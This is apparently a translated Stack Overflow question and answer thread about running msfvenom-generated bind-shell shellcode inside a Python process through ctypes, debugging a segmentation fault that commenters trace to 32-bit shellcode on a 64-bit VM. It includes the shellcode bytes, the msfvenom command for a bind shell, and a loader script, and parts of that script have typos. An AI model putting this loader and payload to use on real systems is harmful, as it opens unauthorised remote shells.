【发布时间】:2018-06-03 17:39:18
【问题描述】:
背景:
编写概念证明,包括在正在运行的 python 进程中执行机器代码。想要使功能跨平台,但是在针对 unix 系统进行测试时出现问题。
几乎完全像这个问题:Python ctypes and function calls 但这次解决方案不起作用。
问题:在 VM 32bit Ubuntu server 12.04.5 LTS 中执行 python 脚本时,输出显示
Segmentation fault (core dumped)
这意味着我被拒绝访问我没有权限的内存。这是源代码中奇怪的 b/c 我还设置了 cytpes.mprotect(allocated_space, space_size, 7)
注意:未经所有者完全同意,请勿尝试在机器上执行以下机器代码以进行测试。
Python 脚本:
#!/usr/bin/env python
import ctypes
import os
import sys
# linux machine code
buf += "\xbd\xfc\xa1\x5d\x63\xd9\xee\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x1c\x31\x6e\x14\x03\x6e\x14\x83\xee\xfc\x1e"
buf += "\x54\x37\x1e\x86\x0e\x7a\xe7\x8f\x31\x6b\xe8\xef\xb8"
buf += "\x68\x8e\x6e\x59\x6e\xbf\xbd\x1e\x5e\xe4\xca\xfc\xf2"
buf += "\x59\x67\x69\xf7\xd4\x66\xdd\x91\x2b\xe8\x4f\x34\xb0"
buf += "\xbc\x05\xca\xd2\x3d\x8a\x5d\xab\xdc\x40\x6c\xf7\x74"
buf += "\xf3\x28\xca\x08\x6c\x4b\x10\x1c\xca\x17\xc7\x4e\x84"
buf += "\xa5\xf7\x7f\x08\xc0\xe7\x2e\xe0\x9d\xe9\xba\x66\xc6"
buf += "\x24\xba\xb6\x15\x06\xdc\xf5\x5a\x37\x63\xb6\x3d\x31"
buf += "\x32\xb2\x0c\xc1\x27\x0c\x82\x72\x44\xbc\x1b\xf5\x95"
buf += "\x65\xac\xfc\xe4\x1a\x33\xe1"
def main(buf):
if os.name == 'posix':
try:
libc = ctypes.CDLL('libc.so.6')
buf_ptr = ctypes.c_char_p(buf)
size = len(buf)
addr_freespace = ctypes.c_void_p(libc.valloc(size))
ctypes.memmove(addr_freespace, buf_ptr, size)
libc.mprotect(addr_free_space, size, 1 | 2 | 4) # changed to 7 for all three access
run = ctypes.cast(free_space, ctypes.CFUNCTYPE(ctypes.c_void_p))
run()
sys.exit()
except Exception as e:
print "Error: " e
else:
try: # windows implementation
if __name__ == '__main__':
main(buf)
问题:谁能解释一下为什么会出现分段错误消息以及我们如何解决这个问题?
致谢:这个 unix 实现起源于 sickle.py @ Line743-753
唯一的区别是参考脚本使用的是python 3,而我使用的是python 2.7。
更新:
经过多次试验和错误,包括在 pdb 中运行程序。分段错误错误发生在以下行之后:
run()
谁能解释一下为什么会这样?
编辑:
机器码/shellcode生成使用:
msfvenom --payload linux/x86/shell/bind_tcp --format py --arch x86 --bad-char "\x00\x20\x0d"
这个 PoC 的灵感来自 SPSE 的 Viviek 教授和twittor
使用 strace 精确定位
分段错误前的结果如下:
mprotect(0x11ad000, 137, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
capget(0x1, 0, {CAP_CHOWN|CAP_FSETID|CAP_SETGID|CAP_NET_BIND_SERVICE|CAP_SYS_MODULE|CAP_SYS_CHROOT|CAP_SYS_PTRACE|CAP_SYS_BOOT|CAP_SYS_NICE|CAP_SETFCAP, CAP_CHOWN|CAP_DAC_OVERRIDE|CAP_FSETID|CAP_SETUID|CAP_LINUX_IMMUTABLE|CAP_NET_BIND_SERVICE|CAP_NET_ADMIN|CAP_NET_RAW|CAP_IPC_OWNER|CAP_SYS_CHROOT|CAP_SYS_PTRACE|CAP_LEASE|CAP_AUDIT_WRITE|CAP_SETFCAP, CAP_CHOWN|CAP_DAC_OVERRIDE|CAP_SETPCAP|CAP_NET_BIND_SERVICE|CAP_NET_BROADCAST|CAP_IPC_LOCK|CAP_IPC_OWNER|CAP_SYS_NICE|CAP_SYS_RESOURCE|CAP_SYS_TIME|CAP_SYS_TTY_CONFIG|CAP_SETFCAP}) = -1 ENOMEM (Cannot allocate memory)
getuid() = -1 EINVAL (Invalid argument)
getuid() = -1 EFAULT (Bad address)
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV (core dumped) +++
【问题讨论】:
-
使用调试器查明故障。此外,检查系统调用中的错误。或者,使用
strace。 -
你能告诉我们你在
buf中使用的实际机器码吗?可能是您正在修改非易失性寄存器并且没有正确恢复它。 -
这实际上是可能的,因为
getuid系统调用在 64 位模式下的编号为 102,并且对应于 32 位模式下的socketcall。后者当然在旨在使用套接字的 shell 代码中是有意义的。因此,要么生成 64 位 shellcode,要么在 32 位模式下运行代码。 -
我同意@Jester。尽管您声称您使用的是 32 位 Ubuntu 12.04 LTS,但我觉得这很有趣。你确定吗?告诉我们你能告诉我们命令的输出
uname -a -
@Jester 和 MichaelPetch 你们是对的。这对我来说是一个非常可怕的错误。 Ubuntu VM 是 64 位的,在给脚本输入 64 位机器码后,它运行成功。感谢 Jester 指出这一点,希望我可以投票,但代表人数不足。
标签: python c assembly x86 ctypes